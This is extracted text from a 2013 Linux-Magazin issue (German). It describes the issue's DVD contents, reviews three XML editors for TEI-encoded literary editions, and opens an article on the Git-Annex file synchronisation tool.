Distribution Ubuntu Privacy Remix, zahlreiche Tools, Tipps und Tricks zu den Artikeln, eine virtuelle CMS-Appliance<br />

von Bitname, ein kostenloses E-Book von Galileo, Debian-Videos und viel Software. Markus Feilner<br />

www.linux-magazin.de<br />

51<br />

Inhalt<br />

52 Bitparade<br />

Wer Texte mit Editoren formal nachbearbeiten<br />

möchte, setzt auf XML.<br />

58 Git-Annex<br />

Git-Annex bietet freie und sichere Synchro<br />

nisationsdienste für <strong>Linux</strong>-Anwender.<br />

60 Tooltipps<br />

Macchanger 1.6.0, Codesh 2.0.1, Enc 0.2,<br />

Arp Scan 1.9, Cyberprobe 0.20 und Palaver<br />

(August 2013) im Kurztest.<br />

64 Ubuntu Privacy Remix<br />

Am sichersten ist die einsame Insel! Wer<br />

ins Internet will, braucht Extras.<br />

Neben einem normalen <strong>Linux</strong>-<strong>Magazin</strong><br />

und dem Abonnement ohne Datenträger<br />

gibt es die DELUG-Ausgabe mit Monats-<br />

DVD, bei der die Redaktion den Datenträger<br />

nach einem speziellen Konzept<br />

zusammenstellt: In einer Art modularem<br />

System enthält er Programme und Tools,<br />

die in der jeweiligen <strong>Magazin</strong>-Ausgabe<br />

getestet und besprochen werden. Zudem<br />

gibt es nicht im Heft abgehandelte<br />

Software, die die Redaktion besonders<br />

empfiehlt, alles gebündelt unter einer<br />

HTML-Oberfläche.<br />

Abbildung 2: Kostenlos auf der DELUG-DVD: „Java 7<br />

– Mehr als eine Insel“ von Christian Ullenboom.<br />

Von der DVD bootet das Ubuntu-12.04-<br />

Derivat Privacy Remix mit hohem Sicherheitsfaktor.<br />

Ohne Verbindung zum Internet,<br />

ohne Zugriff auf die Festplatte lässt<br />

sich das Betriebssystem nur schwer manipulieren,<br />

aber auch nur mit Einschränkungen<br />

bedienen. Doch dafür glänzt es<br />

mit durchdachten Lösungen, etwa wenn<br />

es alle Daten grundsätzlich verschlüsselt<br />

in Truecrypt-Containern speichert. Auf<br />

der DVD liegt die Beta 1, die neueste<br />

Entwicklerversion.<br />

Nach Ubuntu Privacy Remix<br />

gibt’s Debconf-Videos<br />

Wer auf den Silberling mit dem Browser<br />

zugreift, der findet im Hauptmenü zwei<br />

Exklusiv-Einträge: Zum einen eine topaktuelle<br />

Zusammenstellung der besten<br />

Videos von der Debconf 2013. Da gibt<br />

sich die Debian-Prominenz ein Stelldichein,<br />

wenn etwa Bdale Garbee über die<br />

Freedom Box (Abbildung 1), Moray Allan<br />

über Pfade zu Debian, David McWherter<br />

und Jimmy Kaplowitz über Debian auf<br />

der Google Compute Engine oder James<br />

Bromberger zu Amazons <strong>Web</strong>service<br />

sprechen. Dazu gibt’s noch MySQL-Mastermind<br />

Michael „Monty“ Widenius, der<br />

sein Kind Maria DB vorstellt.<br />

E-Book: Mehr als eine Insel<br />

Von Christian Ullenboom stammt das für<br />

DELUG-Leser kostenlose E-Book (Abbildung<br />

2), ein richtiges Kultbuch: Die<br />

Fortsetzung des Java-Klassikers „Java ist<br />

auch eine Insel“ richtet sich vornehmlich<br />

an Entwickler und vermittelt umfassendes<br />

und kompetentes Praxiswissen zu<br />

den vielen Bibliotheken und Technologien.<br />

Am Beispiel konkreter Java-Projekte<br />

zeigt der Autor Christian Ullenboom, was<br />

Abbildung 1: Bdale Garbee bei seinem Vortrag zur Freedom Box.<br />

der Entwickler wissen muss über Swing,<br />

Netzwerk- und Grafikprogrammierung,<br />

RMI und <strong>Web</strong>services, Java Server Pages<br />

und Servlets, Applets, JDBC, Reflection<br />

und Annotationen, Logging und Monitoring,<br />

Java Native Interface (JNI) und<br />

vieles mehr. Gedruckt kostet das Werk<br />

bei Galileo 50 Euro, DELUG-Käufer bekommen<br />

es einfach so.<br />

Als virtuelle Appliance liegt auf der DVD<br />

Django, ein in Python geschriebenes Content<br />

Management Framework <strong>fürs</strong> <strong>Web</strong>.<br />

Es bringt einen objektrelationalen Mapper<br />

für die Datenbanken MySQL, Oracle,<br />

PostgreSQL und SQlite sowie Drittanbieter-Backends<br />

für DB2 und SQL Server.<br />

Die vorliegende virtuelle Maschine bietet<br />

dem Admin ein komplett vorkonfiguriertes<br />

Framework inklusive Datenbanken.<br />

Software und Videos<br />

Damit nicht genug: Zu den Tools aus<br />

dem Titelthema „CMS“, der Bitparade<br />

und den Tooltipps gesellen sich auf der<br />

DVD auch noch die neuesten Versionen<br />

der in diesem <strong>Linux</strong>-<strong>Magazin</strong> besprochenen<br />

Softwaretools Git-Annex, Varnish,<br />

Volatility und Open Nebula. n


Software<br />

www.linux-magazin.de Bitparade 11/2013<br />

52<br />

Drei XML-Editoren im Test<br />

Alles ausgezeichnet<br />

Wer literarische Texte mit elektronischen Mitteln formal nachbearbeiten möchte, der setzt im Idealfall auf XML<br />

und die Schemata der Text Encoding Initiative (TEI). Drei Editoren für den <strong>Linux</strong>-Desktop helfen dabei. Harald Jele<br />

© Kjetil Kolbjornrud, 123RF.com<br />

Die Extensible Markup Language zeichnet<br />

Dokumente zum Austausch zwischen<br />

Computersystemen aus, unabhängig von<br />

Plattform und Implementation. Struktur<br />

und Grammatik der XML-Dateien beschreibt<br />

eine so genannte Dokumenttyp-<br />

Definition (DTD). Ein weitverbreitetes<br />

Dokumentenformat, das eine DTD sowohl<br />

für SGML als auch für XML definiert,<br />

ist Docbook [1]. Es kommt vor<br />

allem bei technischen Dokumentationen<br />

zum Einsatz, zum Beispiel im <strong>Linux</strong> Documentation<br />

Project und bei den KDEund<br />

Gnome-Handbüchern.<br />

Ein anderes Dokumentenformat zum Kodieren<br />

und Austauschen von Texten ist<br />

TEI (siehe Kasten „Die Text Encoding<br />

Initiative“). Vor allem Editionswissenschaftler<br />

profitieren von den freien Standards.<br />

Abbildung 1 zeigt den typischen<br />

Ablauf im Editionsvorgang: Ein Benutzer<br />

redigiert einen Text aufgrund einer analogen<br />

oder digitalen Vorlage. Er setzt dazu<br />

einen XML-Editor mit Templates und ei-<br />

ner <strong>Vorschau</strong>funktion ein. Mittels XSLT-<br />

Stylesheets, die etwa die TEI zur Verfügung<br />

stellt, ist es möglich, so bearbeitete<br />

Texte in andere Formate wie HTML, PDF<br />

oder Ähnliches umzuwandeln. Als Transformationsprozessor<br />

kommt meist Saxon<br />

[4] zum Einsatz.<br />

Da in der Regel mehrere Anwender an<br />

einem Projekt arbeiten, empfiehlt sich<br />

eine Versionsverwaltung wie CVS, SVN<br />

oder Git. Ein Redakteur oder Herausgeber<br />

entnimmt ihr den letzten Stand und gibt<br />

nach der Qualitätskontrolle das Dokument<br />

über einen Publikationsserver frei.<br />

Editionsprojekte nutzen dazu häufig Sade<br />

[5] der Berlin-Brandenburgischen Akademie<br />

der Wissenschaften oder XTF [6]<br />

der California Digital Library. Das Kernstück<br />

des Editionsprozesses bildet jedoch<br />

der XML-Editor. Im Idealfall bietet er eine<br />

Template-Verwaltung und integriert eine<br />

Transformations- beziehungsweise <strong>Vorschau</strong>funktion.<br />

Dieser Artikel stellt drei XML-Editoren<br />

mit Extrafeatures vor. Den Auftakt macht<br />

der XML Copy Editor [7], der auch in den<br />

Repositories der meisten Distributionen<br />

zu finden ist. Das Textgrid Lab [8] ist<br />

mehr als ein reiner Editor und vereint<br />

zusätzliche Dienste und Werkzeuge unter<br />

einer Arbeitsoberfläche. Als drittes<br />

Die Text Encoding Initiative<br />

Das TEI-Konsortium kümmert sich um den<br />

Entwurf, die Entwicklung und die Verbreitung<br />

von Standards zur elektronischen Speicherung<br />

und zur Weiterverarbeitung von Texten; die<br />

Standards sind offen und über die <strong>Web</strong>seite<br />

zugänglich [2]. Die Mitglieder der Organisation<br />

stammen vorwiegend aus dem akademischen<br />

Bereich sowie aus Forschungseinrichtungen,<br />

die sich mit Themen rund um die maschinelle<br />

Verarbeitung von Dokumenten befassen. Der<br />

Schwerpunkt liegt bei Texten aus den Geistes-,<br />

Sozial- und Wirtschaftswissenschaften sowie<br />

bei der Linguistik.<br />

Die Erkenntnisse fließen kontinuierlich in die<br />

Weiterentwicklung der Standards ein. Obwohl<br />

dieses Wissen seit rund 20 Jahren vorhanden<br />

und in den einschlägigen Kreisen bekannt ist,<br />

ignorieren es viele Benutzer. Dass sie dabei<br />

ganze Editionsprojekte unter Umständen in<br />

eine Sackgasse manövrieren, nehmen sie in<br />

Kauf. Ein möglicher Grund für dieses Verhalten<br />

ist die Scheu vor der Arbeit mit XML-kodierten<br />

Texten. Die meisten bevorzugen eine bekannte<br />

Arbeitsoberfläche, wie sie gängige Textverarbeitungen<br />

bieten.<br />

Moderne XML-Editoren unterstützen den Anwender,<br />

erlauben unterschiedliche Sichten auf<br />

die Dokumente und enthalten viele Werkzeuge,<br />

die das Bearbeiten erleichtern. Sie helfen dabei,<br />

die Kodierung des Quelltextes nicht aus den<br />

Augen zu verlieren. Mit Oxgarage [3] bietet<br />

die Text Encoding Initiative sogar ein Tool, das<br />

vorhandene Officedateien konvertiert.


Knoten enthält. Damit sind diese sofort<br />

und ohne Umweg zugänglich, um sie zu<br />

bearbeiten oder zu duplizieren. Schön<br />

wäre eine weitere Anzeige aller im aktuellen<br />

Kontext in Frage kommenden Tags.<br />

Da der XML Copy Editor in der Lage ist,<br />

TEI- und Docbook-Kodierungen zu validieren,<br />

wäre eine entsprechende Darstellung<br />

durchaus machbar.<br />

In den Programmeinstellungen können<br />

Anwender die Schriftarten und deren<br />

Größe bestimmen sowie die Anzeige<br />

von XML-Tags und ‐Attributen abschalten.<br />

Das ist insbesondere dann hilfreich,<br />

wenn ein umfangreiches Dokument geöffnet<br />

ist und sich der Nutzer ganz auf<br />

den Inhalt und nicht auf die Kodierung<br />

konzentrieren möchte. Zudem erlaubt<br />

das Programm als einziges im Test, Tags<br />

zu sperren und sie somit vor versehentlichen<br />

Modifikationen zu schützen. Die<br />

Sperre aktiviert der XML Copy Editor automatisch,<br />

wenn der Benutzer die Tags<br />

ausblendet. Die Statusleiste am unteren<br />

Rand verrät, ob die Tags gerade versteckt<br />

und geblockt sind (Abbildung 3).<br />

Bitparade 11/2013<br />

Software<br />

Abbildung 1: Beim Editionsprozess greifen viele Mechanismen ineinander. Hier sind beispielhaft der Ablauf<br />

und das Zusammenspiel der Komponenten für literarische Werke dargestellt.<br />

Programm im Bunde tritt der proprietäre<br />

Oxygen XML Editor [9] an. Alle drei<br />

Testkandidaten sollten vor allem unter<br />

Beweis stellen, wie gut sie mit TEI-kodierten<br />

Texten zusammenarbeiten. Der<br />

Vollständigkeit halber schauten sich die<br />

Tester auch an, wie es mit der Docbook-<br />

Unterstützung aussieht.<br />

E XML Copy Editor<br />

Der erste Testkandidat steht unter der<br />

GPL. Die Projektseite [7] bietet eine ausführbare<br />

Datei für Windows-Systeme, ein<br />

Paket für Ubuntu-Anwender sowie die<br />

Quellen des Programms zum Download<br />

an. Gängige Distributionen enthalten den<br />

Editor in den Standardpaketquellen. Das<br />

mit Ubuntu 13.04 ausgelieferte Paket ist<br />

allerdings fehlerhaft. Die Tester legten daher<br />

selbst Hand an und kompilierten das<br />

Programm aus den Quellen. Sie folgten<br />

dabei der Anleitung aus der mitgelieferten<br />

Datei »INSTALL«. Im Test trat Version<br />

1.2.0.9 vom Oktober 2012 an.<br />

Nach dem Start präsentiert sich der XML<br />

Copy Editor schlicht und aufgeräumt<br />

(siehe Abbildung 2). Nur die wichtigsten<br />

Editierfunktionen sind direkt zugänglich;<br />

alle weiteren Features bringt<br />

das Programm in den Menüs unter. Viele<br />

Dinge sind zudem über Funktionstasten<br />

erreichbar. Benutzer erkennen auf einen<br />

Blick die Struktur der XML-Datei, denn<br />

das Programm zeigt diese in einer Baumansicht<br />

an. Zusammengehörige Teile<br />

klappt ein Mausklick auf und wieder zu.<br />

Der XML Copy Editor bietet so genanntes<br />

Word Wrapping. Hat der Anwender es<br />

aktiviert, bricht das Tool lange Zeilen in<br />

der Anzeige um.<br />

Am rechten Bildschirmrand befinden sich<br />

jene Elemente, die der jeweils aktuelle<br />

Wohlfühlbereich<br />

Der XML Copy Editor schlägt sich gleichermaßen<br />

gut bei TEI-kodierten Texten<br />

wie bei Docbook-Dokumenten. Er<br />

validiert die Dateien und prüft, ob sie<br />

wohlgeformt und gültig sind. Er akzeptiert<br />

externe DTD-Dateien (und lädt diese<br />

gegebenenfalls nach) sowie interne DTD-<br />

Regeln. Fehlermeldungen und Warnungen<br />

öffnet er in einem eigenen Bereich<br />

am unteren Rand (Abbildung 2).<br />

Über das Menü blenden Benutzer zudem<br />

eine Eingabezeile ein (»Command«)<br />

und rufen von dort externe Programme<br />

wie etwa Versionsverwaltungen, das<br />

Transformationstool Saxon [4], einen<br />

<strong>Web</strong>browser oder einen anderen Editor<br />

auf. Über Checkboxen setzen sie ihr<br />

Kommando ab, halten es an oder übergeben<br />

mittels Variablen entsprechende<br />

Argumente.<br />

Innerhalb der geöffneten Dokumente<br />

wendet das Tool Xpath-Ausdrücke an und<br />

durchsucht Dateien anhand der XML-<br />

Struktur. Außerdem dürfen Benutzer in<br />

der Suchfunktion reguläre Ausdrücke zu<br />

Abbildung 2: Der XML Copy Editor präsentiert sich in unaufdringlichem Design, sodass Anwender sich schnell<br />

zurechtfinden. Optional erscheinen im unteren Bereich Meldungen und eine Eingabezeile.<br />

www.linux-magazin.de<br />

53


Software<br />

www.linux-magazin.de Bitparade 11/2013<br />

54<br />

Abbildung 3: Benutzer dürfen Tags ausblenden und sperren. XML Copy Editor ist der einzige Testkandidat,<br />

der diesen Schutz vor versehentlichen Änderungen bietet.<br />

Hilfe nehmen. Leider steht das Feature<br />

nicht zur Verfügung, wenn der Nutzer<br />

»Suchen und Ersetzen« auswählt.<br />

Im Test fiel ein praktisches Zusatzfeature<br />

besonders angenehm auf. Wählt der Anwender<br />

»Öffne großes Dokument«, so deaktiviert<br />

das Programm die Möglichkeit,<br />

Dokumententeile auf- und zuzuklappen.<br />

Auch das Syntax Highlighting steht in diesem<br />

Modus nicht zur Verfügung. Beides<br />

erhöht die Performanz, denn der Editor<br />

reagiert im Umgang mit umfangreichen<br />

Texten deutlich schneller.<br />

Der XML Copy Editor greift zur Transformation<br />

in andere Formate wahlweise auf<br />

ein externes oder ein eingebettetes XSL-<br />

Stylesheet zurück. Über das Menü »XML«<br />

definieren Anwender externe Dateien.<br />

Interne sprechen sie über das Welt kugel-<br />

Icon in der Werkzeugleiste an. Diese<br />

komfortable und flexible Möglichkeit,<br />

XSLT-Prozesse unterschiedlich anzusprechen,<br />

bieten nur wenige Editoren – von<br />

den Testkandidaten kann nur Oxygen das<br />

Gleiche leisten.<br />

E Textgrid Lab<br />

Der Textgrid-Verbund [10] setzt sich zum<br />

Ziel, eine virtuelle Forschungsumgebung<br />

für Geistes- und Kulturwissenschaftler<br />

sowie eine Plattform für digitale Editionsprojekte<br />

zu schaffen. Die von Textgrid<br />

entwickelte Software erlaubt es Nutzern,<br />

alleine oder im Team an textbasierten<br />

Forschungsdaten zu arbeiten.<br />

Im Wesentlichen bietet der Verbund zwei<br />

Komponenten an: Das Textgrid Repository<br />

ist ein Archiv, das Wissenschaftler und<br />

ihre Ergebnisse untereinander vernetzt,<br />

und das Textgrid Lab [8] ist der Client,<br />

der mehrere Dienste und Werkzeuge –<br />

darunter den getesteten XML-Editor – unter<br />

einer Oberfläche vereint. Alle über<br />

den Verbund freigegebenen Texte stehen<br />

automatisch unter einer Creative-Commons-Lizenz.<br />

Textgrid Lab ist in Java implementiert<br />

und steht für <strong>Linux</strong>, Windows und OS X<br />

zur Verfügung. Die Homepage bietet im<br />

Downloadbereich kompilierte Binaries für<br />

32- und 64-Bit-Systeme an. Zudem stehen<br />

die Quellen der hauptsächlich unter der<br />

LGPL 3 veröffentlichten Software in einem<br />

Subversion-Repository [11] bereit.<br />

Auf dem Ubuntu-Testsystem verlangte<br />

das Programm außerdem die Bibliothek<br />

»libwebkitgtk«. Im Test trat Version 2.0.4<br />

vom Juli 2013 an.<br />

Über den Startbildschirm (siehe Abbildung<br />

4) erreichen Benutzer die verschiedenen<br />

Module des Clients. Die<br />

»Suche« führt direkt ins Textgrid-System<br />

und bietet Zugriff auf alle dort abgelegten<br />

und indizierten Texte. Die »Projekt‐<br />

& Benutzerverwaltung« unterstützt<br />

bei umfangreichen Projekten. Hinter<br />

»Text‐Image‐Link‐Editor« verbirgt sich<br />

ein Tool zum Verknüpfen von Bild und<br />

Text, und »Wörterbücher« erlaubt einen<br />

direkten Zugang zum Trierer Wörterbuchnetz.<br />

Texte, Bilder, Metadaten und<br />

so weiter, die zusammengehören, können<br />

Anwender über »Aggregationen« mit<br />

Drag & Drop bearbeiten und verknüpfen.<br />

Über den gleichnamigen Eintrag starten<br />

sie den XML-Editor.<br />

Textgrid Lab basiert auf der offenen Entwicklungsumgebung<br />

Eclipse [12], was<br />

den Vorteil hat, dass die Macher nicht jedes<br />

Feature neu programmieren müssen,<br />

sondern auf die Vielfalt der vorhandenen<br />

Plugins zurückgreifen können. Die von<br />

den Textgrid-Lab-Herstellern freigegebenen<br />

Erweiterungen installieren Benutzer<br />

komfortabel über den Marketplace nach.<br />

Hier finden sie beispielsweise linguistische<br />

Hilfswerkzeuge, Eingabehilfen für<br />

Links oder eine Verbindung zum Publikationsserver<br />

Sade [5].<br />

Verteilte Ressourcen<br />

Alle Benutzer, die bereits Erfahrung mit<br />

Eclipse gesammelt haben, dürften sich in<br />

Textgrid Lab schnell zurechtfinden. Erleichterung<br />

für Einsteiger verschaffen die<br />

vordefinierten Ansichten (Perspektiven<br />

genannt), die für bestimmte Aufgaben<br />

wichtige Werkzeuge versammeln und als<br />

Unterfenster im GUI anordnen. Hat man<br />

sich erst einmal an die geteilte Ansicht<br />

und die Darstellung in Frames gewöhnt,<br />

zeigt sich die Arbeitsumgebung von ihrer<br />

besten Seite.<br />

Textgrid Lab ist offensichtlich explizit für<br />

XML-TEI konzipiert. Öffnet der Benutzer<br />

eine Docbook-Datei mit der Endung<br />

».docbook«, so reicht das Programm<br />

diese zunächst an den <strong>Web</strong>browser weiter.<br />

Um sie im integrierten XML-Editor<br />

zu betrachten, ändern Nutzer entweder<br />

in den Einstellungen die Dateizuordnungen<br />

(Abteilung »Allgemein | Editoren«)<br />

oder die Endung in ».xml«. Danach stellt<br />

das Programm die Datei ordentlich dar,<br />

erkennt auch die Strukturelemente und<br />

lädt die DTD vollständig.<br />

Geöffnete Dokumente in der XML-Editor-<br />

Perspektive erscheinen in einem elegant<br />

zurückhaltenden Fenstermodus (siehe<br />

Abbildung 5). Über drei Frames erreichen<br />

Benutzer die Gliederung (also die XML-


Abbildung 4: Über den Startbildschirm erreichen Benutzer alle Module des Textgrid Lab, darunter auch den<br />

integrierten XML-Editor und den Marketplace zum Installieren von Erweiterungen.<br />

Baumstruktur), den getaggten Inhalt des<br />

Dokuments sowie die Eigenschaften und<br />

Werte der aktuell ausgewählten Kategorie.<br />

Ist der Bildschirm zu klein, schließt<br />

ein beherzter Klick auf das Kreuz das<br />

jeweilige Unterfenster und macht Platz<br />

für andere Frames. Dieser Editor ist nicht<br />

in der Lage, Tags zu sperren. Im <strong>Vorschau</strong>modus<br />

blendet Textgrid Lab sie<br />

lediglich aus.<br />

Leider stellt das Programm seinen vollen<br />

Funktionsumfang nur zur Verfügung,<br />

wenn sich der Anwender beim Textgrid-<br />

System registriert und danach im Programm<br />

anmeldet. Viele der Module sind<br />

davon betroffen, etwa die Projekt- und Benutzerverwaltung,<br />

Datei-Operationen wie<br />

Speichern von Revisionen und die Gestaltung<br />

eines eigenen Workflow. Der XML-<br />

Editor steht auch ohne Login bereit.<br />

Schade ist auch, dass die Entwickler viele<br />

Eclipse-Plugins, die in der täglichen Arbeit<br />

eine zentrale Rolle spielen, nicht<br />

über den Marketplace freigegeben haben.<br />

Dazu gehört die Integration einer<br />

Versionsverwaltung, die grundsätzlich<br />

in Eclipse bereitsteht, nur eben nicht in<br />

Textgrid Lab.<br />

Lädt der Benutzer über »Import« ein<br />

Dokument zum Textgrid-Server hoch,<br />

so überprüft die Software automatisch,<br />

ob es wohlgeformt und valide ist. Nur<br />

Dokumente, die beide Checks bestehen,<br />

landen im Volltextindex und sind darüber<br />

auffindbar. Alle anderen speichert das<br />

System lediglich. Das Programm kann<br />

auch die Docbook-Kodierung validieren,<br />

erkennt vorhandene Fehler und zeigt<br />

diese an. Als Grundlage nutzt es die geladene<br />

DTD. Bei der Transformation greift<br />

Textgrid Lab nur auf interne Stylesheets<br />

zu und erkennt externe XSL-Dateien nicht<br />

an. Eine Validierung ohne Einmischung<br />

der Textgrid-Server fehlt ebenfalls.<br />

E Oxygen XML Editor<br />

Der letzte Testkandidat in dieser Runde<br />

ist das einzige Tool, das unter einer proprietären<br />

Lizenz steht. Einzelplatzlizenzen<br />

für den Oxygen XML Editor [9] gibt<br />

es bereits ab rund 100 US-Dollar für das<br />

akademische Umfeld. Zusätzlich bietet<br />

Bitparade 11/2013<br />

Software<br />

www.linux-magazin.de<br />

55<br />

Abbildung 5: Textgrid Lab teilt das Programmfenster in verschiedene Bereiche auf. Welche das sind, hängt von der gewählten Perspektive ab.


Software<br />

www.linux-magazin.de Bitparade 11/2013<br />

56<br />

Abbildung 6: Oxygen XML Editor punktet mit einem integrierten SVN-Client, der als Eclipse-Plugin eingebunden ist.<br />

der Hersteller Syncro Soft eine 30-tägige<br />

Testlizenz an. Zum Download stehen 32-<br />

und 64-Bit-Varianten für <strong>Linux</strong>, OS X und<br />

Windows bereit, die auch eine Oracle/​<br />

Sun-Java-VM (Version 1.7.0_15) enthalten.<br />

Als Minimalvoraussetzungen nennen<br />

die Macher 1 GByte RAM und 300 MByte<br />

Festplattenplatz; empfohlen sind 2 GByte<br />

RAM. Das Java-Programm arbeitet laut<br />

Aussage der Entwickler nur mit der Java-<br />

VM von Oracle/​Sun zusammen.<br />

Die rumänische Softwareschmiede will<br />

mit dem Oxygen XML Editor Anfänger<br />

und fortgeschrittene Nutzer ansprechen.<br />

Um diesen Spagat zu schaffen, integrieren<br />

die Entwickler zahlreiche XML-Methoden<br />

und ‐Technologien und platzieren<br />

diese in einer geschickt gestalteten Menüund<br />

Kontextmenü-Struktur. So sind die<br />

Programmfunktionen schnell erreichbar,<br />

ohne den Neuling mit einer überladenen<br />

Oberfläche zu überfordern. Wer mit dem<br />

Textgrid Lab vertraut ist, der findet einige<br />

Bedienelemente wieder.<br />

Auch vom Oxygen XML Editor existiert<br />

neben der Stand-alone-Variante eine weitere<br />

als Eclipse-Plugin, die somit vom<br />

flexiblen Unterbau der Entwicklungsumgebung<br />

profitiert. Anders als beim<br />

zweiten Testkandidaten sind sämtliche<br />

Eclipse-Erweiterungen bereits vorbildlich<br />

eingebettet. Das gilt unter anderem für<br />

den Umbruch überlanger Zeilen in der<br />

Anzeige und eine Versionsverwaltung<br />

(siehe Abbildung 6).<br />

Raum zum Atmen<br />

Im Bearbeitungsmodus ähnelt die Anzeige<br />

der von Textgrid Lab (siehe Abbildung<br />

7). Der Oxygen XML Editor teilt<br />

die Oberfläche in mehrere Unterfenster<br />

auf. Benutzer haben über die linke Seite<br />

schnellen Zugriff auf ihre Projekte und<br />

die Gliederung der Dokumente. Rechts<br />

von der geöffneten XML-Datei listet das<br />

Programm die Attribute auf und blendet<br />

Transformationswerkzeuge ein. Anwender,<br />

die ihre Arbeit zwischendurch in<br />

einem Anzeigeformat wie HTML, PDF<br />

oder E-Pub kontrollieren möchten, finden<br />

dort entsprechende Stylesheets. Deren<br />

Pfade müssen sie nicht ins Dokument<br />

einbetten.<br />

Der Editor bietet eine Baumansicht mit<br />

der Möglichkeit, Tags ein- und auszuklappen.<br />

Im Bearbeitungsmodus (»AUTOR«)<br />

darf der Nutzer Tags ausblenden, aber<br />

nicht sperren. Als einziger Kandidat im<br />

Test interpretiert der Editor reguläre Ausdrücke<br />

auch beim Suchen und Ersetzen.<br />

Zudem dürfen Benutzer die Suche auf<br />

XML-Elemente einschränken.<br />

Abbildung 7: Das Programmfenster ist in mehrere Unterfenster aufgeteilt. Rechts blendet der Oxygen XML Editor unter anderem Transformationstools ein.


Die Vorgaben des TEI-Konsortiums hat<br />

der Editor vorbildlich implementiert und<br />

erkennt auch das Docbook-Format. Er<br />

wählt einen <strong>Vorschau</strong>modus, der dem<br />

Style sheet entspricht, offeriert Funktionen,<br />

die Validität und Wohlgeformtheit<br />

überprüfen sowie einen eingebauten<br />

Debugger. Auf formale Fehler weist das<br />

Programm direkt beim Öffnen hin. Wirklich<br />

praktisch ist, dass es Benutzern beim<br />

Schachteln der XML-Tags unter die Arme<br />

greift und Vorschläge macht.<br />

Der Oxygen XML Editor enthält Verknüpfungen<br />

zu gängigen XML-Datenbanken<br />

und erlaubt so, die meisten Publikationsserver<br />

anzubinden, die XML-TEIkodierte<br />

Texte verarbeiten können. Alle<br />

Projektverwaltungs-Vorgänge bildet er im<br />

lokalen Dateisystem ab. Benutzer dürfen<br />

mit eigenen Templates arbeiten und die<br />

Vorlage jederzeit aus einer Liste aufrufen<br />

und verwenden.<br />

Der Editor integriert Methoden zur Weiterverarbeitung<br />

von XML-Dokumenten.<br />

Oxygen kann externe und interne Stylesheets<br />

ansteuern. Neben XSLT unterstützt<br />

die Software auch Xquery, Xpath und das<br />

moderne Xproc. XML Processing ist eine<br />

vom W3C standardisierte XML-Sprache,<br />

die eine Stapelverarbeitung von XML-<br />

Dokumenten über so genannte Pipelines<br />

realisiert.<br />

Hervorgehoben<br />

Um eine XML-TEI-Arbeitsumgebung unter<br />

<strong>Linux</strong> einzurichten, reichen eigentlich ein<br />

einfacher Texteditor, ein Validierungstool,<br />

gegebenenfalls eine Versionsverwaltung<br />

und eine Projektmanagement-Software.<br />

Komfortabler gestaltet sich das Ganze<br />

mit dem XML Copy Editor, der mit seinen<br />

variablen Anzeigemöglichkeiten, der<br />

übersichtlichen Bedienung und dem Sperren<br />

von Tags punktet. Xpath und XSLT-<br />

Unterstützung, eine Suche mit regulären<br />

Ausdrücken und ein integrierter Validator<br />

runden das positive Bild ab. Verbesserungswürdig<br />

ist nach den Erkenntnissen<br />

der Tester die Zusammenarbeit mit externen<br />

Programmen; eine Template-Verwaltung<br />

wäre ein Gewinn.<br />

Eine deutliche Steigerung des Komforts<br />

bietet ein Baukastensystem wie das<br />

Textgrid Lab. Das Programm kombiniert<br />

den XML-Editor geschickt mit einer Projektverwaltung<br />

und Möglichkeiten zum<br />

Publizieren. Der Austausch mit anderen<br />

Textgrid-Anwendern ist ein weiterer Bonuspunkt.<br />

Zum vollständigen Glück fehlt<br />

vor allem eine lokale Benutzer- und Projektverwaltung;<br />

auch die fehlende Kooperation<br />

mit externen XSL-Stylesheets ist<br />

ein Defizit. Die Eclipse-Basis sorgt zwar<br />

für hohe Flexibilität, leider machen sich<br />

die Entwickler dies jedoch nicht zunutze,<br />

da sie viele brauchbare Plugins im Marketplace<br />

ausschließen.<br />

Der Oxygen XML Editor ist das umfangreichste<br />

Programm im Test. Wer sich<br />

ernsthaft mit XML-TEI-kodierten Dokumenten<br />

auseinandersetzen möchte, der<br />

kommt auf Dauer an dieser ausgereiften<br />

Anwendung kaum vorbei. Eine Open-<br />

Source-Variante (notfalls ohne den vollen<br />

Funktionsumfang) wäre schön, zumal<br />

bereits viele freie Standards integriert<br />

sind, die diesen Wunsch als gerechtfertigt<br />

erscheinen lassen. (hej) n<br />

Infos<br />

[1] Docbook:<br />

[http:// www. oasis-open. org/ docbook]<br />

[2] TEI: [http:// www. tei‐c. org]<br />

[3] Oxgarage:<br />

[http:// www. tei‐c. org/ oxgarage]<br />

[4] Saxon: [http:// www. saxonica. com]<br />

[5] Sade (Scalable Architecture for Digital<br />

Editions): [http:// www. bbaw. de/ telota/​<br />

software/ sade]<br />

[6] XFT: [http:// xtf. cdlib. org]<br />

[7] XML Copy Editor:<br />

[http:// xml‐copy‐editor. sourceforge. net]<br />

[8] Textgrid Lab: [http:// www. textgridlab. org]<br />

[9] Oxygen XML Editor:<br />

[http:// www. oxygenxml. com]<br />

[10] Forschungsverbund Textgrid:<br />

[http:// www. textgrid. de]<br />

[11] Subversion-Repository Textgrid Lab:<br />

[https:// develop. sub. uni‐goettingen. de/​<br />

repos/ textgrid]<br />

[12] Wörterbuchnetz der Universität Trier:<br />

[http:// woerterbuchnetz. de]<br />

[13] Eclipse: [http:// www. eclipse. org]<br />

Der Autor<br />

Dr. Harald Jele ist Mitarbeiter<br />

an der Universität<br />

Klagenfurt und beschäftigt<br />

sich zurzeit unter anderem<br />

mit der Migration der<br />

Klagenfurter Ausgabe der<br />

Werke Robert Musils.


Software<br />

www.linux-magazin.de Git-Annex 11/2013<br />

58<br />

Dateien verteilen und verwalten mit Git-Annex<br />

Daten-Lagerist<br />

Die Storagesoftware Git-Annex verteilt Dateien über Geräte, Server und Clouddienste. Dabei kann sie verschlüsseln,<br />

hält alles synchron und weiß stets, welche Daten wo liegen. Mathias Huber<br />

luciano de polo, 123RF<br />

Wer in eine abgeschiedene Blockhütte<br />

zieht, darf keinen Breitband-Internetanschluss<br />

erwarten. Als der amerikanische<br />

Debian-Entwickler Joey Hess 2010 in eine<br />

solche Behausung zog, musste er sich<br />

also etwas einfallen lassen, um seine Arbeit<br />

mit der Wohnform zu versöhnen.<br />

Den teuren Dialup-Anschluss warf er aus<br />

Kostengründen nur einmal die Woche an<br />

– aber er hatte doch eine Menge Server<br />

mit einem Stapel an Festplatten zu synchronisieren.<br />

Erfolgreiches Crowdfunding<br />

Joey begann für seine Zwecke ein Synchronisationstool<br />

zu schreiben, das als<br />

Unterbau die freie Versionskontrollsoftware<br />

Git verwendet. Was als Mittel für<br />

den Hausgebrauch begann, ist nun als<br />

Git-Annex [1] unter GPL allgemein verfügbar.<br />

Mit einer Crowdfunding-Kampagne<br />

konnte der Entwickler<br />

das GUI Git-Annex-<br />

